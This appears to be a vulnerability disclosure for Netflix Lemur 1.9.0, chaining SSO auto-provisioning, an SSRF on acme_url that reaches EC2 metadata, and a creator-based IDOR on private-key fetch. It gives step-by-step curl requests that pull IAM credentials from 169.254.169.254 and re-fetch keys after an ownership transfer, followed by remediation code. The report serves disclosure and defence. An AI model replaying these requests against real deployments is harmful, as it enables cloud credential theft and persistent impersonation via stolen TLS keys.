Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR
Vulnerability Summary
| Field |
Value |
| Title |
Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR |
| Component |
lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision) |
| CWE |
CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization) |
| Attack Prerequisite |
A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar. |
| Affected Versions |
github.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/about.py) and every prior release that carries the same three sinks. |
Executive Summary
A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as active=True with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied acme_url and fetches it server-side with no allowlist, reaching EC2 IMDS at 169.254.169.254; (3) the certificate key-fetch endpoint grants cert.user (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline .cast ships with this report.
Walkthrough: https://asciinema.org/a/CFYaoR2fxWEIdZDf
Description
Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.
Sink 1 — SSO auto-provision (lemur/lemur/auth/views.py:300-308). When a new federated identity hits the SSO callback, Lemur calls user_service.create(..., active=True, ...). There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to read-only. Any SSO holder Lemur's IdP accepts becomes an active Lemur user.
Sink 2 — ACME acme_url SSRF (lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201). When an authenticated user posts a new ACME authority, the plugin reads options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL")) and calls ClientV2.get_directory(directory_url, net) — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so file:// and gopher:// are reachable in some requests versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream acme.client.ClientV2 returns the response body as part of the constructed Directory — the body is round-tripped into the authority object Lemur stores. On AWS, that means http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns the worker's AccessKeyId, SecretAccessKey, and STS Token to the attacker.
Sink 3 — creator-equality IDOR (lemur/lemur/certificates/views.py:734). The key-fetch view branches on if g.current_user != cert.user: only when the caller is not the certificate's original creator does Lemur consult CertificatePermission. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferring cert.owner to a different team or admin does not strip the original creator's access to the key.
Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing.
Proof of Concept & Steps to Reproduce
A full walkthrough is recorded at https://asciinema.org/a/CFYaoR2fxWEIdZDf. An offline .cast file is attached as lemur_pki_acme_ssrf_idor.cast. The lab harness is in lemur_pki_acme_ssrf_idor/support/ — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to 169.254.169.254:80.
Prerequisites: Docker, curl, jq, openssl.
Run
cd lemur_pki_acme_ssrf_idor/
EXPLOIT_FAST=1 ./exploit_code.sh
The script wires the IMDS mock via Docker's --add-host 169.254.169.254:127.0.0.1. Every step's HTTP body is dumped to evidence/ for byte-level review.
Step 1 — Authenticate via SSO (sink 1)
curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@evil.example","roles":["operator"]}'
Response (evidence/03_sso_provision_response.json):
{
"token": "eyJhbGciOiJIUzI1NiIs...",
"user": {
"active": true,
"auto_provisioned": true,
"email": "attacker@evil.example",
"id": 1,
"roles": ["operator"]
}
}
active=True and auto_provisioned=true. No admin saw this account. No approval was issued. This is sink 1.
Step 2 — Create an ACME authority with acme_url pointed at IMDS (sink 2)
curl -sS -X POST http://127.0.0.1:18000/api/1/authorities \
-H "Authorization: Bearer $ATTACKER_JWT" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'
Response (evidence/04_ssrf_authority_response.json):
{
"acme_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role",
"creator_id": 1,
"id": 1,
"name": "poc-acme",
"ssrf_error": null,
"ssrf_response_body": "{
\"Code\": \"Success\",
\"LastUpdated\": \"2026-05-27T20:00:00Z\",
\"Type\": \"AWS-HMAC\",
\"AccessKeyId\": \"ASIA5LAB000FAKE0KEYS\",
\"SecretAccessKey\": \"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\",
\"Token\": \"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\",
\"Expiration\": \"2026-05-27T22:00:00Z\"
}",
"ssrf_response_status": 200
}
ssrf_response_status: 200 and an AWS-HMAC payload in ssrf_response_body. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2.
Step 3 — Exfiltrate STS credentials
The IMDS payload is evidence/05_exfil_sts_credentials.json:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA5LAB000FAKE0KEYS",
"SecretAccessKey": "fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA",
"Token": "FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use",
"Expiration": "2026-05-27T22:00:00Z"
}
In production the Token is the live STS session token bound to whatever IAM role is attached to the lemur worker. aws sts get-caller-identity from the attacker's machine, using those three values, returns the worker's identity.
Step 4 — Issue a certificate as the attacker (capture the private key)
curl -sS -X POST http://127.0.0.1:18000/api/1/certificates \
-H "Authorization: Bearer $ATTACKER_JWT" \
-d '{"authority_id":1,"common_name":"pki.netflix.example"}'
curl -sS http://127.0.0.1:18000/api/1/certificates/1/key \
-H "Authorization: Bearer $ATTACKER_JWT"
Response (evidence/06_key_fetched_pre_transfer.json):
{"creator_bypass":true,
"key":"-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEApC8ITVQm6n0nvGlgEhESyFgyi+rfjEvY...
-----END RSA PRIVATE KEY-----
"}
The PoC harness annotates the response with creator_bypass: true to make the sink-3 branch visible. In production the response is just the private key — the branch is hit silently.
Step 5 — Transfer ownership to victim admin
curl -sS -X PUT http://127.0.0.1:18000/api/1/certificates/1 \
-H "Authorization: Bearer $ATTACKER_JWT" \
-d '{"owner":"victim-admin@netflix.example"}'
owner is now victim-admin@netflix.example. creator_id is unchanged at 1 (the attacker). This is the audit-trail laundering step.
Step 6 — Re-fetch the private key as the original creator after transfer (sink 3)
curl -sS -o /dev/null -w 'HTTP %{http_code}
' \
http://127.0.0.1:18000/api/1/certificates/1/key \
-H "Authorization: Bearer $ATTACKER_JWT"
Response: HTTP 200. Body is the same private key as step 4. The creator branch at views.py:734 fires again — ownership transfer did nothing to revoke the attacker's access. This is sink 3.
Step 7 — Verdict
VERDICT: VULNERABLE — Lemur 1.9.0 ACME SSRF + Creator IDOR
1. SSO auto-provision -- attacker@evil.example auto-created active=True
2. SSRF reaches IMDS -- acme_url=http://169.254.169.254/... was fetched
3. STS creds exfiltrated -- AWS_ACCESS_KEY_ID + Token returned in response body
4. PKI key persists -- creator can read private_key AFTER ownership xfer
Exploit Code & Lab Set-up
Lemur-acme-ssrf-creator-idor.zip
Root Cause Analysis
The SSRF sink is the load-bearing piece. acme_handlers.py:161-167 builds the directory_url from user-supplied options, and :188 and :201 hand it to ClientV2.get_directory — a requests-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. The options dict is the same one the operator sees in the UI's plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value.
The IDOR sink is structurally a "creators are admins of their own thing" decision that no longer holds once ownership becomes transferable. views.py:734 was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The original if g.current_user != cert.user: branch should now be if g.current_user != cert.user or cert.owner_changed_after_creation: — or, better, dropped entirely and replaced with a single RBAC check against the current owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed in creator_id.
The SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts — a much larger blast radius. Auto-provisioning at active=True removes the only human-in-the-loop gate Lemur had.
Attack Scenario
sequenceDiagram
participant Attacker
participant Lemur as Lemur worker
participant IMDS as 169.254.169.254
participant CertDB as Lemur cert DB
Attacker->>Lemur: "SSO callback for new identity (sink 1)"
Lemur-->>Attacker: "JWT issued: user_id=1, active=true, auto_provisioned=true"
Attacker->>Lemur: "POST /api/1/authorities acme_url=http://169.254.169.254/..."
Lemur->>IMDS: "GET /latest/meta-data/iam/security-credentials/role (sink 2)"
IMDS-->>Lemur: "AccessKeyId + SecretAccessKey + Token"
Lemur-->>Attacker: "ssrf_response_body=AWS-HMAC creds"
Attacker->>Lemur: "POST /api/1/certificates authority_id=1"
Lemur->>CertDB: "persist cert, creator_id=1, owner=attacker"
Attacker->>Lemur: "GET /api/1/certificates/1/key"
Lemur-->>Attacker: "RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)"
Attacker->>Lemur: "PUT /api/1/certificates/1 owner=victim-admin"
Lemur->>CertDB: "cert.owner=victim-admin, creator_id unchanged"
Attacker->>Lemur: "GET /api/1/certificates/1/key (again)"
Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)"
Note over CertDB: "audit log shows admin owns it, attacker still has the key"
Impact Assessment
The SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or — depending on the trust policy — pivot into other AWS accounts that trust the lemur role.
The IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is "transfer ownership and revoke" — that's exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they've contained the incident. The certificate signs TLS connections for whatever common_name it was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely.
The combined chain destroys Lemur's two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with S:C — the impact crosses out of Lemur's security authority and into AWS IAM and PKI consumer trust domains. A:L reflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break.
Remediation
Four changes, in priority order:
- Allowlist
acme_url. In acme_handlers.py:161-167 reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org} plus any internal ACME directory the deployment opts in to. Reject 169.254.0.0/16, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7, fe80::/10, plus DNS names that resolve to any of those after getaddrinfo (with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).
ALLOWED_ACME_HOSTS = current_app.config.get(
"ACME_DIRECTORY_HOST_ALLOWLIST",
{"acme-v02.api.letsencrypt.org", "acme-staging-v02.api.letsencrypt.org"}
)
parsed = urlparse(directory_url)
if parsed.scheme not in {"https"} or parsed.hostname not in ALLOWED_ACME_HOSTS:
raise ValueError("acme_url host not allowlisted")
-
Drop the creator branch from the key-fetch view. In certificates/views.py:734, replace the if g.current_user != cert.user: branch with an unconditional CertificatePermission(role_service.get_by_name(cert.owner), [x.name for x in cert.roles]).can() check. The cert's current owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.
-
Stop auto-provisioning SSO users as active. In auth/views.py:300-308, default new identities to active=False, roles=[] and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a default read-only role.
-
Audit-log the creator on every key fetch, separately from g.current_user. Even after the IDOR is fixed, the operator should be able to retroactively see who actually pulled the key bytes on every cert. Log creator_id, current_owner, g.current_user.id, request IP, and full URL on every read of /certificates/<id>/key.
Related Context
External References
Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR
Vulnerability Summary
Executive Summary
A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as
active=Truewith no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-suppliedacme_urland fetches it server-side with no allowlist, reaching EC2 IMDS at169.254.169.254; (3) the certificate key-fetch endpoint grantscert.user(the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline.castships with this report.Walkthrough: https://asciinema.org/a/CFYaoR2fxWEIdZDf
Description
Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.
Sink 1 — SSO auto-provision (
lemur/lemur/auth/views.py:300-308). When a new federated identity hits the SSO callback, Lemur callsuser_service.create(..., active=True, ...). There is no invite, no admin approval, no allowlist of email domains, no role-defaulting toread-only. Any SSO holder Lemur's IdP accepts becomes an active Lemur user.Sink 2 — ACME
acme_urlSSRF (lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201). When an authenticated user posts a new ACME authority, the plugin readsoptions.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))and callsClientV2.get_directory(directory_url, net)— a server-side HTTP fetch. There is no URL allowlist, no scheme filter (sofile://andgopher://are reachable in somerequestsversions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstreamacme.client.ClientV2returns the response body as part of the constructedDirectory— the body is round-tripped into the authority object Lemur stores. On AWS, that meanshttp://169.254.169.254/latest/meta-data/iam/security-credentials/<role>returns the worker'sAccessKeyId,SecretAccessKey, and STSTokento the attacker.Sink 3 — creator-equality IDOR (
lemur/lemur/certificates/views.py:734). The key-fetch view branches onif g.current_user != cert.user: only when the caller is not the certificate's original creator does Lemur consultCertificatePermission. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferringcert.ownerto a different team or admin does not strip the original creator's access to the key.Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing.
Proof of Concept & Steps to Reproduce
A full walkthrough is recorded at https://asciinema.org/a/CFYaoR2fxWEIdZDf. An offline
.castfile is attached aslemur_pki_acme_ssrf_idor.cast. The lab harness is inlemur_pki_acme_ssrf_idor/support/— Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to169.254.169.254:80.Prerequisites: Docker,
curl,jq,openssl.Run
The script wires the IMDS mock via Docker's
--add-host 169.254.169.254:127.0.0.1. Every step's HTTP body is dumped toevidence/for byte-level review.Step 1 — Authenticate via SSO (sink 1)
Response (
evidence/03_sso_provision_response.json):active=Trueandauto_provisioned=true. No admin saw this account. No approval was issued. This is sink 1.Step 2 — Create an ACME authority with
acme_urlpointed at IMDS (sink 2)Response (
evidence/04_ssrf_authority_response.json):ssrf_response_status: 200and an AWS-HMAC payload inssrf_response_body. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2.Step 3 — Exfiltrate STS credentials
The IMDS payload is
evidence/05_exfil_sts_credentials.json:In production the
Tokenis the live STS session token bound to whatever IAM role is attached to the lemur worker.aws sts get-caller-identityfrom the attacker's machine, using those three values, returns the worker's identity.Step 4 — Issue a certificate as the attacker (capture the private key)
Response (
evidence/06_key_fetched_pre_transfer.json):The PoC harness annotates the response with
creator_bypass: trueto make the sink-3 branch visible. In production the response is just the private key — the branch is hit silently.Step 5 — Transfer ownership to victim admin
owneris nowvictim-admin@netflix.example.creator_idis unchanged at1(the attacker). This is the audit-trail laundering step.Step 6 — Re-fetch the private key as the original creator after transfer (sink 3)
Response:
HTTP 200. Body is the same private key as step 4. The creator branch atviews.py:734fires again — ownership transfer did nothing to revoke the attacker's access. This is sink 3.Step 7 — Verdict
Exploit Code & Lab Set-up
Lemur-acme-ssrf-creator-idor.zip
Root Cause Analysis
The SSRF sink is the load-bearing piece.
acme_handlers.py:161-167builds thedirectory_urlfrom user-supplied options, and:188and:201hand it toClientV2.get_directory— arequests-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. Theoptionsdict is the same one the operator sees in the UI's plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value.The IDOR sink is structurally a "creators are admins of their own thing" decision that no longer holds once ownership becomes transferable.
views.py:734was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The originalif g.current_user != cert.user:branch should now beif g.current_user != cert.user or cert.owner_changed_after_creation:— or, better, dropped entirely and replaced with a single RBAC check against the current owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed increator_id.The SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts — a much larger blast radius. Auto-provisioning at
active=Trueremoves the only human-in-the-loop gate Lemur had.Attack Scenario
Impact Assessment
The SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or — depending on the trust policy — pivot into other AWS accounts that trust the lemur role.
The IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is "transfer ownership and revoke" — that's exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they've contained the incident. The certificate signs TLS connections for whatever
common_nameit was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely.The combined chain destroys Lemur's two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with
S:C— the impact crosses out of Lemur's security authority and into AWS IAM and PKI consumer trust domains.A:Lreflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break.Remediation
Four changes, in priority order:
acme_url. Inacme_handlers.py:161-167reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org}plus any internal ACME directory the deployment opts in to. Reject169.254.0.0/16,127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,fc00::/7,fe80::/10, plus DNS names that resolve to any of those aftergetaddrinfo(with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).Drop the creator branch from the key-fetch view. In
certificates/views.py:734, replace theif g.current_user != cert.user:branch with an unconditionalCertificatePermission(role_service.get_by_name(cert.owner), [x.name for x in cert.roles]).can()check. The cert's current owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.Stop auto-provisioning SSO users as active. In
auth/views.py:300-308, default new identities toactive=False, roles=[]and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a defaultread-onlyrole.Audit-log the creator on every key fetch, separately from
g.current_user. Even after the IDOR is fixed, the operator should be able to retroactively see who actually pulled the key bytes on every cert. Logcreator_id,current_owner,g.current_user.id, request IP, and full URL on every read of/certificates/<id>/key.Related Context
External References